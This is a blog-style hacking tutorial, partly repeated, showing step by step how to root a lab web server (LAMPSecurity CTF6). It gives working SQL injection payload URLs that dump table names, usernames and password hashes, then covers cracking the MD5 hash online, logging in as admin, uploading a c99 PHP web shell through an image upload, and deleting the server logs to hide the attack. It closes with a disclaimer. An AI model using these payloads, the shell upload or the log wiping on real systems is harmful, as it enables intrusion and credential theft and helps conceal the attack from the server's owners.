Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vAdC6vl9PbuWVJtNUXNVu8R7-TvF-5QYCyUezcuaud5Gyb3Bd3xPx2YrD9UDyTueRX7aj_ljzlk4vlQaF-8dvsd5QX1oNi4wQX_aiuQ7UJUFZDvEpdLBKnep87V41A6zqcb_EI0ObvLkfytupvdhj8c9ICb0oXM5yIaj42wL5VRFrt=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vBIGnbSEQHkjZ54KC2SVdWD3Z6HFQfUAe3wIS-KQrbgEwH-W7RoS8Pbm-fIcUZKZ9KOCiPwwHFmnspU_xelLXBdDIF5JbG4Iyb5H38GeSCXvH1xCcFKrqaL0ojvnC00QKM2S8M63f5TtZIMEbpNXbMFtk4VDIIWySp7VtN0--cZHAnTQ=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tKg_TXJ0pfYio4bUH_7z5BbgCbmYauE3MpwmbQWzOyVnKMB2cQIy9f5kIiWt0qGJip04eZ9ysu3o4FmVFTOUPrQhMr2mrZoqJ9EQ9nzGDhQeTyzGS2bBaaIHyfr_QodaUjdyiAY_W9N5BAF5NHrtn2uwR8uJTOUYyF0HQTYbYux9K1QQ=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vt_c8GWjbgDf5zTHRgexa-lqL5RR6n-6dQ1xIC4uUT1ZbJhHpQz8gpg-sBBKgiFFJKYu0JmeTugokR_Og4ifRpgabOuxeoaJMsvmgpYdSnNMh1QhSlnH0uj0C_i56XTQFNlTLMgn5xkNCLEWm7WTJhzmSB1coD7P6hfpVtO8gf-9XK5A=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sTAkjGmBeGLallApsw7mQB8L3kAqNRSup2FwyPR2muhSqN7IRcLKh_UW8dRs97rfUxatgEZgUNk3T1LVW5FWFVDGWIgxi9paZybZQWUlS3d_tqIIsN-ZVyn0e0FkSeSKeNNw8wcKjIVNnghKY4Y9HW1ctFWt2G-Gogm0xzNx3D4-4Hvw=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uHx69iUfIV5IaFG1hx8_CXdh9UrxCDmj7KAHqB-owzgbFb1EVvf6dO42ouVYz6e8ONqvBExe-YwVwVTf93b5oiXjAkHKvPQ_bZ4gezOW5ihZqdsf7TVsTpXQukl41-xn-QRxr5UeASWUNw3JSg1nxUxCankiuXhSg2LzfeiRq2BCi1=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sr4XgMXFBGcLbKlArq8KjEM_Ax9irX_HORKtODgDkJ4EppQ7pHvAnr-l5_dyu_WmWw3xmHdc9WXSN0EHh46JYzid1oaL5VAuhPpCTkN1LyNghSWI_O1Fq5lNIl7CPWrj2zdhVG8Zt_EojhuKaRg3JamxhvBA-URhCVrnI7B-XFjVIJ4cM=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uBP60HKjCEewCYjgwejrrK0Mx8Q_TqeRI0-nRS5DhAj88gqal33Mdc5aX7lADsLNFXUo0GmTd8YjzqJ4vL0zJxKnW5quqIKS5Z_moXGQDH8hluYopnOzPpO4x8r4-5G_m__QUDrR8AaJUK69_TfqjWZb3TCcz2F2YIBuCTMhxr8fjDQOc=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_us5SCrkQwBSYSFvlCF37OxrmYQu6xhVsSG0ZcNSVoxp4HBQiOWDCQRkfPkerqupi_-1cbLojXIl33LWlEqHKHUfR3Yi3Zad4xZJ8xd9lxHsvrKSNkj8jagTGG7FIb6ZVxHVIoEcwf8jjES86Ycf-dK8lsFXfSfRfcuely_0s9SuQrihTE=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sww1wzu6VnFeew88PJvKTI6THy3iqNi_JVmRiWT6FHrLqsCE__uybq7VxurpS1pQAVuqL6AoTD686zI4c9hvfb89FhXYP2efrvnva0qKrbIhEV10b8HL67QATynfcpUaLgc7eXhhp7eJY3q6hGWia8WORQgez5p4W8U5I0u_5ShbebqdQ=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u2IWzGkWRQqEF_dXLUTfotjW3efyd8AtI46X04PR17jOjY_hbuOLTRhXIHtXrvXlyHZOM0sFsTMGUop-m4Hi-CW-Gv8NUhNX5V3_mvK5wPuxz4n6PmX2cRrDxZXWESpDkB0p72iuBrHL3F1t_58uP2hGhYA53yp4sSaJ6oY7F0XOKoSA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vUfo-Qk7vTfJOUCAxvvxHZ9-A7fjFogUPstrFGHbWZyzq4A5_CKwKveapcElKvpep4Q0V9V5zIiXj4IVAPQod8QLf4keV3jz6VebecRTxRZihEmyQC4eBcyNBdVU42WaSMoiAmutxM8bpCq0W1rMLj3vlCmBnVwTi8QcQpAKc9EXzpWBs=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_slzyyr_c5EVgbifAcSw7YFkwSB9GNaKzVo6Uxq4IHumrzagX4fYnQs5eARyfk3oXvlJ-eeH3mQjQ8qqw4iQfOE0MUmeXi2P98HpunVc48o8SLqxpKYYo_50qFnXbfK9i4ftZakEV6dm0bC9mqpZiy4zlB9XQK7ggRDx8tE5mMh9BlabhI=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_veG7-CyPctl6Nmu0GyrqyhX9mZfgWE7xgOa_ZSlQdU29iLhJ9Wn42wmgTSe9Qu5NE7-bHiLVy8T7kuhlpdDuvog15XTGppFv9uGhQujkxCxzjZWLNqo0UwiRNalTbNc7j_t_YV0Mf9TV5JII3n2xAkNaKvrfgM1rSzTezcYNq8Pjj7Nw=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_voqHc2rkDSYHqFqTghsaRVFYsDWHQSwcVgBu1QkLyqJutaLrzZ8EMyHLCSrD4DL-SmjDJgNB3isYP9NVoxQZFFJn7WJBo-i7ZXO_8ggl7vZ62OuG_oRZuI4mfZryD4741kxWtIz0sPujaQe1b0jeKoLOVdJYty19z59ZJwuXnGM-f64A=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vEgynwOc93BYUX0_Si_7U_c8dIpJ_yoLdACuOHiyobnafeduv18r-lgH8Ac2dEU6-yMopjFxGQx_zSaIGWgt3w93tNzXjv76eWjg5n2Oj9Ke83-fL5Qd8yD6jKooLtRM7EGhOmuifSs7YqiM5SlDDLwinlW5icsC6IPhsNiYviEiIi0A8=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sswif_DjdHoiJNKnQWSEgqKI--92rfGMOFfE65TbuSZiIEXxHT4-1T__Lz108NyDuVHDDJ7DPiuoXK0M338CF-uVOHNTPC9adth1K1VTLDjrGoNvGXYnb7NRpZBE-8JLv86tdS_pGriU5riKb370vdkUYeA696G6wBUTd9dn4asK0UoSk=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
